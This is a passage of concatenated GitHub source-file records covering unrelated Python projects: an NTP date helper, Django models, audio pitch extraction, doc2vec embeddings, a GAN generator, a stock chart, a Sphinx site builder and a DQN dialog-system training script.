isinstance(month, int) or not cls.MONTH_JAN <= month <= cls.MONTH_DEC:\n raise ValueError('Invalid parameter: month={} must be int in range 1-12'.format(month))\n\n first_sunday = 7 - cls.weekday(year, month, 1)\n weeks_list = list()\n weeks_list.append((1, first_sunday))\n days_in_month = cls.days_in_month(year, month)\n for i in range(0, 5):\n if days_in_month <= first_sunday + (i + 1) * 7:\n weeks_list.append((weeks_list[i][1] + 1, days_in_month))\n break\n else:\n weeks_list.append((weeks_list[i][1] + 1, first_sunday + (i + 1) * 7))\n\n return weeks_list\n\n @classmethod\n def day_from_week_and_weekday(cls, year, month, week, weekday):\n \"\"\" Calculate the day based on year, month, week and weekday. If the selected week is\n outside the boundaries of the month, the last weekday of the month will be returned.\n Otherwise, if the weekday is within the boundaries of the month but is outside the\n boundaries of the week, raise an exception. This behaviour is desired when you want\n to select the last weekday of the month, like the last Sunday of October or the\n last Sunday of March.\n Example: day_from_week_and_weekday(2021, Ntp.MONTH_MAR, Ntp.WEEK_LAST, Ntp.WEEKDAY_SUN)\n day_from_week_and_weekday(2021, Ntp.MONTH_OCT, Ntp.WEEK_LAST, Ntp.WEEKDAY_SUN)\n\n Args:\n year (int): number greater than 1\n month (int): number in range 1(Jan) - 12(Dec)\n week (int): number in range 1-6\n weekday (int): number in range 0(Mon)-6(Sun)\n\n Returns:\n int: the calculated day. If the day is outside the boundaries of the month, returns\n the last weekday in the month. If the weekday is outside the boundaries of the\n given week, raise an exception\n \"\"\"\n\n if not isinstance(year, int) or not 1 <= year:\n raise ValueError('Invalid parameter: year={} must be int and greater than 1'.format(year))\n elif not isinstance(month, int) or not cls.MONTH_JAN <= month <= cls.MONTH_DEC:\n raise ValueError('Invalid parameter: month={} must be int in range 1-12'.format(month))\n elif not isinstance(week, int) or not cls.WEEK_FIRST <= week <= cls.WEEK_LAST:\n raise ValueError('Invalid parameter: week={} must be int in range 1-6'.format(week))\n elif not isinstance(weekday, int) or not cls.WEEKDAY_MON <= weekday <= cls.WEEKDAY_SUN:\n raise ValueError('Invalid parameter: weekday={} must be int in range 0-6'.format(weekday))\n\n weeks = cls.weeks_in_month(year, month)\n days_in_month = cls.days_in_month(year, month)\n\n week_tuple = weeks[-1] if week > len(weeks) else weeks[week - 1]\n day = week_tuple[0] + weekday\n\n # If the day is outside the boundaries of the month, select the week before the last\n # This behaviour guarantees to return the last weekday of the month\n if day > days_in_month:\n return weeks[-2][0] + weekday\n\n # The desired weekday overflow the last day of the week\n if day > week_tuple[1]:\n raise Exception('The weekday does not exists in the selected week')\n\n return day\n\n @classmethod\n def _log(cls, message: str):\n \"\"\" Use the logger callback to log a message.\n\n Args:\n message (str): the message to be passed to the logger\n \"\"\"\n\n if callable(cls._log_callback):\n cls._log_callback(message)\n\n @classmethod\n def _datetime(cls, dt = None):\n \"\"\" Access the RTC through the callback. This is a setter and getter function.\n\n Args:\n dt (tuple, None): None or 8-tuple(year, month, day, hours, minutes, seconds, weekday, subseconds)\n If None, the function acts as a getter. If a tuple, the function acts as a setter\n \"\"\"\n\n if not callable(cls._datetime_callback):\n raise Exception('No callback set to access the RTC')\n\n if dt is None:\n return cls._datetime_callback()\n elif isinstance(dt, tuple) and len(dt) == 8:\n cls._datetime_callback(dt)\n else:\n raise ValueError(\n 'Invalid parameter: dt={} must be a 8-tuple(year, month, day, hours, minutes, seconds, weekday, subseconds)'.format(dt))\n\n @staticmethod\n def _validate_host(host: str):\n \"\"\" Check if a host is valid. A host can be any valid hostname or IP address\n\n Args:\n host (str): hostname or IP address in dot notation to be validated\n\n Returns:\n bool: True on success, False on error\n \"\"\"\n\n if Ntp._validate_ip(host) or Ntp._validate_hostname(host):\n return True\n\n return False\n\n @staticmethod\n def _validate_hostname(hostname: str):\n \"\"\" Check if a hostname is valid.\n\n Args:\n hostname (str): the hostname to be validated\n\n Returns:\n bool: True on success, False on error\n \"\"\"\n\n if not isinstance(hostname, str):\n raise ValueError('Invalid parameter: hostname={} must be a string'.format(hostname))\n\n # strip exactly one dot from the right, if present\n if hostname[-1] == '.':\n hostname = hostname[:-1]\n\n if not (0 < len(hostname) <= 253):\n return False\n\n labels = hostname.split('.')\n\n # the TLD must be not all-numeric\n if re.match(r'[0-9]+$', labels[-1]):\n return False\n\n allowed = re.compile(r'^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9_\\-]*[a-zA-Z0-9])\\.)*([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9_\\-]*[A-Za-z0-9])$')\n if not allowed.match(hostname):\n return False\n\n return True\n\n @staticmethod\n def _validate_ip(ip: str):\n \"\"\" Check if the IP is a valid IP address in dot notation\n\n Args:\n ip (str): the ip to be validated\n\n Returns:\n bool: True on success, False on error\n \"\"\"\n\n if not isinstance(ip, str):\n raise ValueError('Invalid parameter: ip={} must be a string'.format(ip))\n\n allowed = re.compile(\n r'^(25[0-5]|2[0-4][0-9]|[0-1]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[0-1]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[0-1]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[0-1]?[0-9][0-9]?)$')\n if allowed.match(ip) is None:\n return False\n\n return True\n\n @classmethod\n def _epoch_offset(cls, epoch: int = None, epoch_list = None):\n \"\"\" Helper function to select an epoch from a given 3-tuple of epochs\n\n Args:\n epoch (int): epoch index to return\n epoch_list (tuple): a 3-tuple with the epochs. Each item in the tuple represents\n the seconds between year 2000 and the one that the item represents.\n\n Returns:\n int: the selected epoch offset\n \"\"\"\n\n if epoch is None:\n epoch = cls._epoch\n\n if epoch not in (cls.EPOCH_1900, cls.EPOCH_1970, cls.EPOCH_2000):\n raise ValueError('Invalid parameter: epoch={}'.format(epoch))\n\n if epoch_list is None:\n return (_NTP_DELTA_1900_2000, _NTP_DELTA_1970_2000, 0)[epoch]\n elif not isinstance(epoch_list, tuple) or len(epoch_list) != 3:\n raise ValueError('Invalid parameter: epoch_list={} must be a tuple and its length must be 3'.format(epoch_list))\n\n return epoch_list[epoch]\n","repo_name":"aleppax/micropython-ntp","sub_path":"src/ntp.py","file_name":"ntp.py","file_ext":"py","file_size_in_byte":40066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"45234713350","text":"from django.db import models\n\n# Create your models here.\n\n\nclass Playlist():\n def __init__(self, id, name, creator_id, created_time, labels, pic_path, creator=None, count=0):\n self.id = id\n self.name = name\n self.creator_id = creator_id\n self.created_time = created_time\n self.labels = labels\n self.pic_path = pic_path\n self.creator = creator\n self.count = count\n\nclass Song():\n def __init__(self, song_id, song_name, album_id, album_name, artist_id, artist_name):\n self.song_id = song_id\n self.song_name = song_name\n self.album_id = album_id\n self.album_name = album_name\n self.artist_id = artist_id\n self.artist_name = artist_name\n\nclass User():\n def __init__(self, id, name):\n self.id = id\n self.name = name\n","repo_name":"wlllssd/music","sub_path":"user/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12092089592","text":"import audioflux\n\n\ndef extract_pitch_features(audio_data, sr):\n pitch_detect = audioflux.Pitch(\n pitch_type=None,\n samplate=sr,\n low_fre=27.5,\n high_fre=2093.004522404789,\n radix2_exp=12,\n slide_length=1024,\n auto_length=2048,\n )\n pitch_values = pitch_detect.pitch(audio_data)\n return pitch_values\n","repo_name":"Moki98/MusicAI","sub_path":"scripts/pitch_features.py","file_name":"pitch_features.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72486996993","text":"import tqdm\nimport numpy as np\nimport _pickle as cPickle\nfrom gensim.corpora.wikicorpus import WikiCorpus\nfrom gensim.models.doc2vec import Doc2Vec, TaggedDocument\n\n# Loading model\nf = open('./pickles/dmmodel.pkl','rb')\nprint('loading model ...')\nmodel = cPickle.load(f)\n\n# Loading data\nf = open('./pickles/dande_train.pkl','rb')\nentities_tr = cPickle.load(f)\nf = open('./pickles/dande_test.pkl','rb')\nentities_tst = cPickle.load(f)\n\nembeddings_tr = []\nembeddings_tst = []\n\n# Generating entity embeddings\nfor ent in tqdm.tqdm(entities_tr):\n temp = []\n for term in ent:\n temp.append(model.infer_vector([term]))\n embeddings_tr.append(temp) \n\nfor ent in tqdm.tqdm(entities_tst):\n temp = []\n for term in ent:\n temp.append(model.infer_vector([term]))\n embeddings_tst.append(temp) \n\nfeatures_tr = []\nfeatures_tst = []\n\n# Stacking embeddings to generate trainable feature sets\nfor tweet_embeddings in embeddings_tr:\n temp = []\n for v in tweet_embeddings:\n temp.append(v.reshape((-1,1)))\n if len(tweet_embeddings) is 0:\n zero_vector = np.zeros((1,200))\n temp.append(zero_vector)\n averaged_vector = np.mean(temp,axis = 0)\n features_tr.append(averaged_vector)\n\nfor tweet_embeddings in embeddings_tst:\n temp = []\n for v in tweet_embeddings:\n temp.append(v.reshape((-1,1)))\n if len(tweet_embeddings) is 0:\n zero_vector = np.zeros((1,200))\n temp.append(zero_vector)\n averaged_vector = np.mean(temp,axis = 0)\n features_tst.append(averaged_vector)\n\nfeatures_tr = np.concatenate(features_tr, axis = 0) \nfeatures_tst = np.concatenate(features_tst, axis = 0)\n\n# Saving files\nwith open('./pickles/wiki_train.pkl','wb') as f:\n cPickle.dump(features_tr, f)\n\nwith open('./pickles/wiki_test.pkl','wb') as f:\n cPickle.dump(features_tst, f)\n","repo_name":"anjalibhavan/Hate-Speech-Analysis-Using-World-Knowledge","sub_path":"EntityEmbeddings.py","file_name":"EntityEmbeddings.py","file_ext":"py","file_size_in_byte":1831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27087817331","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def minCameraCover(self, root: TreeNode) -> int:\n self.rslt = 0\n def dfs(root):\n if not root: return -1\n left, right = dfs(root.left), dfs(root.right)\n # leaf's parent, put carmera\n if left == 0 or right == 0:\n self.rslt += 1\n return -2\n if left == -2 or right == -2:\n return -1\n else:\n return 0\n temp = dfs(root)\n return self.rslt + (temp == 0)\n","repo_name":"Mela2014/lc_punch","sub_path":"lc968_dfs.py","file_name":"lc968_dfs.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71987992833","text":"def num_check(question):\r\n # checks if the user entered a number that is more than zero\r\n valid = False\r\n while not valid:\r\n\r\n error = \"Please enter a number that is more than zero and lower (or equal to) than 200 (no decimals)\"\r\n\r\n try:\r\n\r\n # asks user to enter a number\r\n response = int(input(question))\r\n\r\n # checks if a number is above zero\r\n if 0 < response <= 200:\r\n return response\r\n\r\n # Outputs error if number is invalid\r\n else:\r\n print(error)\r\n print()\r\n\r\n except ValueError:\r\n print(error)\r\n\r\n\r\nquestion = \"Please enter a number that is more than zero and lower (or equal to) than 200 (no decimals)\"\r\nto_factor = int(input(question))\r\nfactor_list = []\r\n\r\nfor item in range(1, to_factor + 1):\r\n print(item)\r\n remainder = to_factor % item\r\n possible_factor = to_factor // item\r\n\r\n print(\"possible\", possible_factor)\r\n print(\"remainder\", remainder)\r\n\r\n if remainder == 0:\r\n print(\"WE have a winner!!\")\r\n\r\n # add factor to list\r\n factor_list.append(possible_factor)\r\n\r\nfactor_list.sort()\r\nprint(\"Factors: \", factor_list)\r\n","repo_name":"TerrenceWu14/Factors_Calc","sub_path":"factor_play.py","file_name":"factor_play.py","file_ext":"py","file_size_in_byte":1220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39775549401","text":"from time import sleep\nfrom threading import Timer\n\n\ndef test(obj):\n print(f\"timer开始执行~ {obj}\")\n sleep(1)\n print(f\"timer执行完毕~ {obj}\")\n\n\ndef main():\n t = Timer(2, test, args=(\"mmd\", ))\n t.start()\n # t.join() # 加这句,主线程就会等待timer执行完毕后退出\n # t.cancel() # 停止timer\n print(\"主线程over\")\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"lotapp/BaseCode","sub_path":"python/5.concurrent/Thread/2.lock_queue/4.other/4.timer.py","file_name":"4.timer.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"61"} +{"seq_id":"43992124400","text":"import datetime\nfrom math import pi\nimport pandas as pd\nfrom bokeh.models import BoxSelectTool\nfrom bokeh.models.tools import HoverTool\nfrom bokeh.plotting import ColumnDataSource, figure, output_file, show\nfrom pandas_datareader import data\nfrom pandas_datareader.tests import yahoo\n\n# Ticker is used from yahoo finance. S&P 500 (^GSPC)\nstartDate = datetime.datetime(2018, 1, 1)\nendDate = pd.datetime.now()\ndf = data.DataReader(name=\"^GSPC\", data_source=\"yahoo\", start=startDate , end=endDate )\n\noutput_file('gspcGraph.html', title='sp500.py')\nTOOLS = \"pan,wheel_zoom,reset,save, hover\"\n\n\n\nplot = figure(x_axis_type='datetime', y_axis_label= 'Price', tools=TOOLS, plot_width=1000, title = \"S&P500\")\n\n\nplot.xaxis.major_label_orientation = pi/4\nplot.grid.grid_line_alpha= 0.3\n\nplot.segment(df.index, df.High, df.index, df.Low, color=\"Black\")\n\ndef increaseDecrease(closePrice , openPrice):\n if closePrice > openPrice:\n value = \"Increase\"\n elif closePrice < openPrice:\n value = \"Decrease\"\n else:\n value = \"Equal\"\n return value\n\ndf[\"Status\"] = [increaseDecrease(closePrice, openPrice) for closePrice, openPrice in zip(df.Close, df.Open)]\ndf[\"Middle\"] = (df.Open + df.Close)/2\ndf[\"Height\"] = abs(df.Close - df.Open)\n\nhours12 = 12 * 60 * 60 * 1000\n\n\nplot.rect(df.index[df.Status == \"Increase\"],\n df.Middle[df.Status == \"Increase\"],\n hours12,\n df.Height[df.Status == \"Increase\"],\n fill_color = \"#142be0\",\n line_color = \"black\"\n )\n\nplot.rect(df.index[df.Status == \"Decrease\"],\n df.Middle[df.Status == \"Decrease\"],\n hours12,\n df.Height[df.Status == \"Decrease\"],\n fill_color = \"#e01414\",\n line_color = \"black\"\n )\n\n\nshow(plot)\n","repo_name":"gandra70/Stock-Data-Visualizations-with-Python","sub_path":"sp500.py","file_name":"sp500.py","file_ext":"py","file_size_in_byte":1757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4467932878","text":"import json\nimport os.path as path\nimport os\nfrom dateutil.parser import parse as parse_date\nfrom datetime import datetime\nfrom wisepy2 import wise\nfrom Redy.Tools.PathLib import Path\nfrom io import StringIO\nfrom textwrap import indent\n\ndef raw_html(html):\n html = indent(html, prefix = ' ')\n return f\"\"\"\n.. raw:: html\n\n\n{html}\n\"\"\"\n\npanel_styles = ['success', 'primary', 'warning']\nn_panel_styles = len(panel_styles)\npanel_count = 0\ndef card(title: str, link: str, keywords: list, time: datetime):\n global panel_count\n time = time.strftime(\"%a, %B %d, %Y.  %H: %M \")\n keywords = ' , '.join(keywords)\n panel_count += 1\n return raw_html(f\"\"\"\n<br>\n<div class=\"panel panel-{panel_styles[panel_count % n_panel_styles]}\">\n <div class=\"panel-heading\">{title}</div>\n <div class=\"panel-body\">\n keywords: {keywords}\n </div>\n\n <div class=\"panel-footer\">\n <a href=\"{link}\">Check</a>\n <span class=\"pull-right\">{time}</span>\n </div>\n</div>\n\"\"\")\n\n\ndef build():\n dir, _ = path.split(__file__)\n dir = path.join(dir, 'src')\n\n with open(path.join(dir, 'dynamic.json'), 'rb') as f:\n dy : list = json.load(f)\n\n for each in dy:\n each['release_date'] = parse_date(each['release_date'])\n dy = sorted(dy, key=lambda each: each['release_date'], reverse=True)\n with open(path.join(dir, 'index.rst'), 'w', encoding='utf8') as w, \\\n open(path.join(dir, 'index.rst.template'), 'r', encoding='utf8') as r:\n write = w.write\n write(r.read())\n write('\\n')\n for each in dy:\n title = each['title']\n where = each['where']\n where = \"./\" + \"/\".join(where.split('.')) + '.html'\n time = each['release_date']\n keywords = each['keywords']\n write('\\n')\n write(card(\n title=title,\n link = where,\n time = time,\n keywords=keywords))\n\n os.system('sphinx-build -b html ./src ./')\n for each_static in Path(\"./src/BackupStatic\").list_dir():\n each_static.move_to(\"./Backup/\")\n\n\npreserved = [\n 'src',\n '.gitignore',\n 'manage.py',\n 'vocab.py',\n '.vscode',\n 'localize.py',\n 'favicon.ico',\n '.nojekyll',\n '.',\n '.git',\n \"build-docs.sh\",\n \"requirements.txt\"\n]\n\ndef clean():\n for each in Path('.').list_dir():\n filename = each.relative()\n if filename in preserved:\n continue\n each.delete()\n\ndef dispatch(build: bool=False, clean: bool=False):\n g = globals()\n if clean:\n g['clean']()\n if build:\n g['build']()\n \nif __name__ == '__main__':\n wise(dispatch)()\n","repo_name":"thautwarm/Site-32","sub_path":"manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":2624,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"4671735348","text":"from data import Data\nfrom tensorflow.keras.initializers import RandomNormal\nfrom tensorflow.keras.layers import Input, Conv2D, Conv2DTranspose, Dense, Reshape, Embedding\nfrom tensorflow.keras.layers import ReLU, LeakyReLU, Dropout, BatchNormalization, Concatenate\nfrom tensorflow.keras.models import Model\n\nclass Generator:\n def __init__(self, data:Data, params) -> None:\n self.data = data\n self.initHyperparameters(params)\n\n def initHyperparameters(self, params):\n self.latentDim = params.latentDim\n self.labelDim = params.labelDim\n self.batchNorm = params.batchNorm\n self.kernelInitStdDev = params.kernelInitStdDev\n self.generatorInputFilters = params.generatorInputFilters\n self.convTransposeFilters = [int(x) for x in params.convTransposeFilters.split(',')]\n self.convTransposeLayerKernelSize = (4,4)\n self.generatorOutputLayerKernelSize = (7,7)\n self.leakyReluAlpha = params.leakyReluAlpha\n self.dropoutRate = params.dropoutRate\n\n def build(self) -> Model:\n labelInputNodes = self.data.imageDim * self.data.imageDim\n init = RandomNormal(stddev=self.kernelInitStdDev)\n\n labelInput = Input(shape=(1,))\n labelEmbedding = Embedding(self.data.classes, self.labelDim)(labelInput)\n labelDense = Dense(labelInputNodes, kernel_initializer=init)(labelEmbedding)\n labelShaped = Reshape((self.data.imageDim, self.data.imageDim, 1))(labelDense)\n\n imageInputNodes = self.generatorInputFilters * self.data.imageDim * self.data.imageDim\n imageInput = Input(shape=(self.latentDim,))\n imageDense = Dense(imageInputNodes, kernel_initializer=init)(imageInput)\n imageActv = LeakyReLU(self.leakyReluAlpha)(imageDense)\n imageShaped = Reshape((self.data.imageDim, self.data.imageDim, self.generatorInputFilters))(imageActv)\n\n imageLabelConcat = Concatenate()([imageShaped, labelShaped])\n\n convLayer = self.buildConvTransposeLayers(init, imageLabelConcat)\n\n outputLayer = Conv2D(1, self.generatorOutputLayerKernelSize, padding='same', activation='tanh', kernel_initializer=init)(convLayer)\n model = Model([imageInput, labelInput], outputLayer)\n return model\n\n def buildConvTransposeLayers(self, kernelInit, inLayer):\n layer = inLayer\n for f in self.convTransposeFilters:\n layer = self.buildConvTransposeLayer(f, kernelInit, layer)\n return layer\n\n def buildConvTransposeLayer(self, filters, kernelInit, inLayer):\n layer = Conv2DTranspose(filters, self.convTransposeLayerKernelSize, (2,2), padding='same', kernel_initializer=kernelInit)(inLayer)\n if self.batchNorm:\n layer = BatchNormalization()(layer)\n layer = LeakyReLU(self.leakyReluAlpha)(layer)\n outLayer = Dropout(self.dropoutRate)(layer)\n return outLayer\n\n def train(self, params):\n raise Exception('Not supported')\n\n def summary(self):\n print('\\nGenerator\\n')\n model = self.build()\n model.summary()\n","repo_name":"sem-onyalo/gan-training-model","sub_path":"model/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":3059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28631600382","text":"import argparse\nimport json\nimport copy\nimport os\nimport pickle\nimport random\nimport sys\nimport numpy as np\nfrom agent_dqn import AgentDQN\n\nfrom util import *\nsys.path.append(os.getcwd())\nsys.path.append(os.path.pardir)\nfrom misc_scripts.access_django import *\nfrom utils.lu import multi_turn_lu3\nfrom utils.nlg import *\nfrom user_simulator.usersim.usersim_rule import *\nfrom django.db.models import Q\nfrom crawler.models import *\nfrom utils.query import *\nfrom dialog_system import DialogManager\nfrom dqn import dialog_config\n\n\"\"\"\nLaunch a dialog simulation per the comm dand line arguments\nThis function instantiates a user_simulator, an agent, and a dialog system.\nNext, it triggers the simulator to run for the specified number of episodes.\n\"\"\"\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n\n # Basic Environment Setup\n parser.add_argument('--act_set', dest='act_set', default=\"./dqn/dia_acts.txt\", type=str,\n help='path to dia act set; none for loading from labeled file')\n parser.add_argument('--slot_set', dest='slot_set', default=\"./dqn/slot_set.txt\", type=str,\n help='path to slot set; none for loading from labeled file')\n\n # Basic Parameters Setup\n parser.add_argument('--max_turn', dest='max_turn',\n default=20, type=int, help='maximum length of each dialog (default=20, 0=no maximum length)')\n parser.add_argument('--episodes', dest='episodes',\n default=50, type=int, help='Total number of episodes to run (default=1)')\n parser.add_argument('--slot_err_prob', dest='slot_err_prob',\n default=0.00, type=float, help='the slot err probability')\n parser.add_argument('--slot_err_mode', dest='slot_err_mode',\n default=0, type=int, help='slot_err_mode: 0 for slot_val only; 1 for three errs')\n parser.add_argument('--intent_err_prob', dest='intent_err_prob',\n default=0.00, type=float, help='the intent err probability')\n parser.add_argument('--agt', dest='agt',\n default=9, type=int, help='Select an agent: 0 for a command line input, 1-6 for rule based agents')\n parser.add_argument('--usr', dest='usr',\n default=0, type=int, help='Select a user simulator. 0 is a Frozen user simulator.')\n parser.add_argument('--epsilon', dest='epsilon',\n default=0.1, type=float, help='Epsilon to determine stochasticity of epsilon-greedy agent policies')\n parser.add_argument('--act_level', dest='act_level',\n default=1, type=int, help='0 for dia_act level; 1 for NL level')\n parser.add_argument('--run_mode', dest='run_mode',\n default=3, type=int, help='run_mode: 0 for default NL; 1 for dia_act; 2 for both')\n parser.add_argument('--auto_suggest', dest='auto_suggest',\n default=1, type=int, help='0 for no auto_suggest; 1 for auto_suggest')\n parser.add_argument('--cmd_input_mode', dest='cmd_input_mode',\n default=0, type=int, help='run_mode: 0 for NL; 1 for dia_act')\n\n # Load NLG & NLU Model\n # parser.add_argument('--nlg_model_path', dest='nlg_model_path', type=str,\n # default='./deep_dialog/models/nlg/lstm_tanh_relu_[1468202263.38]_2_0.610.p', help='path to model file')\n # parser.add_argument('--nlu_model_path', dest='nlu_model_path', type=str,\n # default='./deep_dialog/models/nlu/lstm_[1468447442.91]_39_80_0.921.p', help='path to the NLU model file')\n\n # RL-Agent Parameters\n parser.add_argument('--experience_replay_pool_size', dest='experience_replay_pool_size',\n default=500, type=int, help='the size for experience replay')\n parser.add_argument('--batch_size', dest='batch_size',\n default=20, type=int, help='batch size')\n parser.add_argument('--gamma', dest='gamma',\n default=0.9, type=float, help='gamma for DQN')\n parser.add_argument('--predict_mode', dest='predict_mode',\n default=False, type=bool, help='predict model for DQN')\n parser.add_argument('--simulation_epoch_size', dest='simulation_epoch_size',\n default=50, type=int, help='the size of validation set')\n parser.add_argument('--warm_start', dest='warm_start',\n default=1, type=int, help='0: no warm start; 1: warm start for training')\n parser.add_argument('--warm_start_epochs', dest='warm_start_epochs',\n default=50, type=int, help='the number of epochs for warm start')\n parser.add_argument('--trained_model_path', dest='trained_model_path',\n default=None, type=str, help='the path for trained model')\n parser.add_argument('-o', '--write_model_dir', dest='write_model_dir',\n default='./dqn/checkpoints/', type=str, help='write model to disk')\n parser.add_argument('--save_check_point', dest='save_check_point',\n default=10, type=int, help='number of epochs for saving model')\n parser.add_argument('--success_rate_threshold', dest='success_rate_threshold',\n default=0.5, type=float, help='the threshold for success rate')\n # parser.add_argument('--split_fold', dest='split_fold',\n # default=5, type=int, help='the number of folders to split the user goal')\n parser.add_argument('--learning_phase', dest='learning_phase',\n default='train', type=str, help='train/test/all; default is all')\n\n # RL-Model Parameters\n parser.add_argument('--learning_rate', dest='learning_rate',\n default=1e-3, type=float, help='the learning rate of model')\n parser.add_argument('--momentum', dest='momentum',\n default=0.1, type=float, help='the momentum value of optimizer')\n parser.add_argument('--grad_clip', dest='grad_clip',\n default=-1e-3, type=float, help='the gradient limitation')\n parser.add_argument('--smooth_eps', dest='smooth_eps',\n default=1e-8, type=float, help='smooth epsiolon value')\n parser.add_argument('--opt', dest='opt',\n default='adam', type=str, help='the model optimizer')\n parser.add_argument('--dropout_rate', dest='dropout_rate',\n default=0.2, type=float, help='dropout rate between layers')\n parser.add_argument('--activation_func', dest='activation_func',\n default='relu', type=str, help='the model layers\\' activation functions')\n\n args = parser.parse_args()\n params = vars(args)\n\n\nall_courses = list(query_course({}).values())\nnp.random.shuffle(all_courses)\ncourse_dict = {k: v for k, v in enumerate(all_courses)}\nact_set = text_to_dict(params['act_set'])\nslot_set = text_to_dict(params['slot_set'])\nprint(\"=============== Data Pre-processing Done\\n\")\n\n##########################################################################\n# @params run_mode: (type: int)\n# 0 for display mode (NL)\n# 1 for debug mode(Dia_Act)\n# 2 for debug mode(Dia_Act and NL)\n# >=3 for no display(i.e. training)\n# @params auto_suggest: (type: int)\n# 0 for no auto_suggest\n# 1 for auto_suggest\n##########################################################################\ndialog_config.run_mode = params['run_mode']\ndialog_config.auto_suggest = params['auto_suggest']\nprint(\"=============== Dialog Configurations Setup Done\\n\")\n\n##########################################################################\n# Parameters for RL-Model (Deep-Q-Network)\n# @params model_params: parameters of model (type: dict)\n# @params lr: learning rate (type: float)\n# @params moment: momentum value of optimizer (type: float, optional)\n# @params grad_clip: gradient limitation (type: float, optional)\n# @params smooth_eps: smooth epsiolon value (type: float, optional)\n# @params opt: model optimizer (type: string)\n# @params dp: dropout rate between layers (type: float)\n# @params activation_func: model layers activation function (type: string)\n##########################################################################\nmodel_params = {}\nmodel_params['learning_rate'] = params['learning_rate']\nmodel_params['momentum'] = params['momentum']\nmodel_params['grad_clip'] = params['grad_clip']\nmodel_params['smooth_eps'] = params['smooth_eps']\nmodel_params['opt'] = params['opt']\nmodel_params['dropout_rate'] = params['dropout_rate']\nmodel_params['activation_func'] = params['activation_func']\nprint(\"=============== Model Setup Done\\n\")\n\n##########################################################################\n# Parameters for Agent (Deep-Q-Network Agent)\n# @params agent_params: parameters of agent (type: dict)\n# @params act_level: (type: int)\n# 0 for user simulator is Dia_Act level\n# 1 for user simulator is NL level\n# @params predict_mode: predict model for DQN (type: bool)\n# @params warm_start: (type: int)\n# use rule policy to fill the experience-replay pool at the beginning\n# 0 no warm start\n# 1 warm start for training\n# @params cmd_input_mode: (type: int)\n# 0 for NL input\n# 1 for Dia_Act input (this parameter is for AgentCmd only)\n##########################################################################\nagt = params['agt']\nagent_params = {}\nagent_params['max_turn'] = params['max_turn']\nagent_params['epsilon'] = params['epsilon']\nagent_params['agent_run_mode'] = params['run_mode']\nagent_params['agent_act_level'] = params['act_level']\nagent_params['experience_replay_pool_size'] = params['experience_replay_pool_size']\nagent_params['batch_size'] = params['batch_size']\nagent_params['gamma'] = params['gamma']\nagent_params['predict_mode'] = params['predict_mode']\nagent_params['trained_model_path'] = params['trained_model_path']\nagent_params['warm_start'] = params['warm_start']\nagent_params['cmd_input_mode'] = params['cmd_input_mode']\nagent_params['model_params'] = model_params\nagent = AgentDQN(course_dict, act_set, slot_set, agent_params)\nprint(\"=============== RL-Agent (DQN) Setup Done\\n\")\n\n##########################################################################\n# Parameters for User Simulators\n# @params usersim_params: parameters of user simulator (type: dict)\n# @params slot_err_prob: slot level error probability (type: float)\n# @params slot_err_mode: which kind of slot err mode (type: int)\n# 0 for slot_val only\n# 1 for three errs\n# @params intent_err_prob: intent level error probability (type: float)\n# @params learning_phase: train/test/all, default is all. (type: str)\n# The user goal set could be split into train and\n# test set, or do not split (all). Here exists\n# some randomness at the first sampled user action,\n# even for the same user goal, the generated\n# dialogue might be different\n# 'all' train + test\n# 'train' train only\n# 'test' test only\n##########################################################################\nusr = params['usr']\nusersim_params = {}\nusersim_params['max_turn'] = params['max_turn']\nusersim_params['slot_err_probability'] = params['slot_err_prob']\nusersim_params['slot_err_mode'] = params['slot_err_mode']\nusersim_params['intent_err_probability'] = params['intent_err_prob']\nusersim_params['simulator_run_mode'] = params['run_mode']\nusersim_params['simulator_act_level'] = params['act_level']\nusersim_params['learning_phase'] = params['learning_phase']\nuser_sim = RuleSimulator(all_courses)\n# user_sim = RuleSimulator(course_dict, act_set, slot_set, usersim_params)\nprint(\"=============== RuleSimulator Setup Done\\n\")\n\n##########################################################################\n# load trained NLG model (need to be transformed)\n##########################################################################\n# nlg_model_path = params['nlg_model_path']\n# diaact_nl_pairs = params['diaact_nl_pairs']\n# nlg_model = nlg()\n# nlg_model.load_nlg_model(nlg_model_path)\n# nlg_model.load_predefine_act_nl_pairs(diaact_nl_pairs)\n\n# agent.set_nlg_model(nlg_model)\n# user_sim.set_nlg_model(nlg_model)\n\n##########################################################################\n# load trained NLU model (need to be transformed)\n##########################################################################\n# nlu_model_path = params['nlu_model_path']\n# nlu_model = nlu()\n# nlu_model.load_nlu_model(nlu_model_path)\n\n# agent.set_nlu_model(nlu_model)\n# user_sim.set_nlu_model(nlu_model)\n\n##########################################################################\n# Dialog Manager\n##########################################################################\ndialog_manager = DialogManager(agent, user_sim, act_set, slot_set, course_dict, all_courses)\nprint(\"=============== DialogManager Setup Done\\n\")\n\n##########################################################################\n# Run num_episodes 